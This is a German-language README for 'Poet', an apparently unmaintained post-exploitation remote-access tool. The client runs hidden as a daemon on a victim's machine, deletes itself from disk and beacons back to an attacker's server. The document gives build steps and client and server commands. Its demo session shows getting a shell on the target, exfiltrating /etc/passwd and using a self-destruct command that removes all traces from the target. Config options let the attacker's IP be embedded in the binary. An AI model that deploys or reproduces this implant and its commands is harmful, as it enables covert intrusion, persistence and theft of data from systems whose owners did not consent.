
[nicht mehr gewartet] Post-Exploitation-Tool
Ein einfaches POst-Exploitation-Tool.
Das Client-Programm läuft auf dem Zielrechner und ist mit einer IP-Adresse (dem Server) und einer Verbindungsfrequenz konfiguriert. Wenn der Server nicht läuft, wenn der Client eine Verbindung herstellen möchte, schläft der Client leise und versucht es im nächsten Intervall erneut. Läuft der Server jedoch, erhält der Angreifer eine Kommando-Shell, um den Client zu steuern und verschiedene Aktionen auf dem Ziel auszuführen, darunter:
Dies ist nur ein kleiner Ausschnitt dessen, was Poet kann.
Das Szenario: Ein Angreifer hat Zugriff auf den Rechner des Opfers erlangt und den Client heruntergeladen und ausgeführt. Zu diesem Zeitpunkt läuft der Server noch nicht, aber das ist in Ordnung – der Client wartet geduldig. Irgendwann ist der Angreifer bereit und startet den Server, führt zunächst eine Shell aus und führt uname -a aus, dann exfiltriert er /etc/passwd. Anschließend beendet er die Verbindung und trennt sich vom Client, der auf dem Ziel weiterläuft und auf die nächste Gelegenheit wartet, sich mit dem Server zu verbinden. Später verbindet er sich erneut, zerstört den Client selbst und entfernt alle Spuren vom Ziel.
Rechner des Opfers (5.4.3.2):
$ ./poet-client 1.2.3.4 10 # poet-client läuft als Daemon, daher ist nichts zu sehen
Warnung: Nach Ausführung dieses Befehls müssen Sie entweder
selfdestructvom Server aus ausführen oder denpoet-client-Prozess beenden, um den Client zu stoppen.
Rechner des Angreifers (1.2.3.4):
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
chint
dlexec
exec
exfil
exit
help
recon
selfdestruct
shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated
Gehen Sie zur Releases-Seite und laden Sie die neuesten poet-client- und poet-server-Dateien herunter.
Springen Sie dann zum Abschnitt „Verwendung“ weiter unten.
Alternativ können Sie Poet selbst erstellen (das ist recht einfach, siehe unten).
Stellen Sie sicher, dass die ausführbaren Dateien python2.7 und zip verfügbar sind.
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make
Dies erzeugt ein Verzeichnis bin/, das poet-client und poet-server enthält.
Poet ist extrem einfach zu verwenden und benötigt nichts weiter als die Python (2.7)-Standardbibliothek. Um es einfach zu testen, würde ein typischer Aufruf so aussehen:
Terminal 1:
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct
Standardmäßig läuft der Poet-Client als Daemon und löscht sich selbst von der Festplatte, daher wird dieses Verhalten mit den Flags
--debugund--no-selfdestructunterdrückt.
Terminal 2:
$ sudo ./poet-server
Standardmäßig muss der Server als root (mit
sudo) ausgeführt werden, da der Standardport, an den er sich bindet, 443 ist. Wenn Ihnen das unangenehm ist, lassen Sie einfachsudoweg und verwenden Sie das Flag-p <PORT>sowohl auf Client- als auch auf Serverseite. Wählen Sie eine hohe, gut passende Portnummer (> 1024).
Die Datei common/config.py enthält verschiedene optionale Konfigurationseinstellungen für Poet-Builds.
AUTH: Geheimes Authentifizierungstoken, das zwischen Client und Server für die Client-Authentifizierung geteilt wird. Beachten Sie, dass der Standardwert alles andere als geheim ist. Für jede nicht-testbezogene Verwendung wird empfohlen, ihn auf einen anderen, nicht erratbaren Wert zu ändern. Beachten Sie, dass vorgefertigte Pakete das standardmäßige, öffentliche Authentifizierungstoken verwenden.ARCHIVE_DIR: Verzeichnis, das vom Server zum Speichern von Dateien (Ausgabe von Befehlen, Exfiltration, Aufklärung usw.) verwendet wird.SERVER_IP: IP-Adresse des Servers.BEACON_INTERVAL: Sekunden zwischen den Beacon-Signalen des Clients an den Server.Die Konfigurationen SERVER_IP und BEACON_INTERVAL ermöglichen es, Informationen, die zuvor als Befehlszeilenargumente erforderlich waren, in die endgültigen ausführbaren Dateien einzubetten, sodass das endgültige Programm einfach ohne Argumente ausgeführt werden kann. Werte von None für eine der beiden führen dazu, dass sie auf das Standardverhalten zurückfallen (erforderliches Befehlszeilenargument für SERVER_IP, optionales Befehlszeilenargument für BEACON_INTERVAL).
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
IP [INTERVAL]
positional arguments:
IP Poet Server
INTERVAL Beacon Interval, in seconds. Default: 600
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
--debug show debug messages. implies --no-daemon
--no-daemon don't daemonize
--no-selfdestruct don't selfdestruct
Poet ist eine Client/Server-Anwendung. Der Client wird auf dem Ziel ausgeführt und sendet in einem bestimmten Zeitintervall Beacon-Signale an den Server zurück. Das einzige erforderliche Argument ist die IP-Adresse, auf der der Server läuft oder laufen wird. Optional kann das Zeitintervall in Sekunden angegeben werden, wie häufig Beacon-Signale gesendet werden sollen – standardmäßig 10 Minuten. Der Port, den der Client für Beacon-Signale verwendet, kann mit dem Flag -p angegeben werden. Alle anderen Flags würden in der „echten“ Nutzung nicht verwendet und dienen hauptsächlich der Fehlersuche.
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
-v, --version prints the Poet version number and exits
Der Server wird auf dem eigenen Rechner des Benutzers ausgeführt und lauscht auf Beacon-Signale des Clients. Standardmäßig lauscht er auf einem privilegierten Port (443) und muss mit entsprechenden Rechten ausgeführt werden (die nach dem Binden schnell wieder abgegeben werden). Das Flag -p kann verwendet werden, um dies zu umgehen, indem ein nicht privilegierter Port zum Lauschen ausgewählt wird (>1024).